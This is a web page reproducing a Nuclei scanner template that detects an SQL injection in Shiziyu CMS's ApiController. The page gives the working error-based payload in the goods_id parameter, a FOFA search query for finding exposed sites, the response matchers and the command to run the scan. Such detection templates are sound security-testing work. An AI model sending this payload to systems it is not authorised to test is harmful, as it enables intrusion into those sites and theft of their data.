Skip to content

Shiziyu CMS Api Controller - SQL Injection

ID: shiziyu-cms-apicontroller-sqli

Severity: high

Author: SleepingBag945

Tags: sqli

Shiziyu CMS ApiController.class.php parameter filtering is not rigorous, resulting in SQL injection vulnerability.

id: shiziyu-cms-apicontroller-sqli
info:
name: Shiziyu CMS Api Controller - SQL Injection
author: SleepingBag945
severity: high
description: |
Shiziyu CMS ApiController.class.php parameter filtering is not rigorous, resulting in SQL injection vulnerability.
metadata:
verified: true
max-request: 1
fofa-query: body="/seller.php?s=/Public/login"
tags: sqli
variables:
num: "999999999"
http:
- method: GET
path:
- "{{BaseURL}}/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5({{num}}),0x7e),1)"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'c8c605999f3d8352d7bb792cf3fdb25'
- type: status
status:
- 404
# digest: 4a0a00473045022100ca06b2e885371644105226ddb4fd1c30c8e54e4bf216bd1fd31a2442be68f2790220292d8b1bb39f06ae4760578cd8e733d1d76e124d04e1d4b3b528909b70c3c3ba:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/shiziyu-cms/shiziyu-cms-apicontroller-sqli.yaml"

View on Github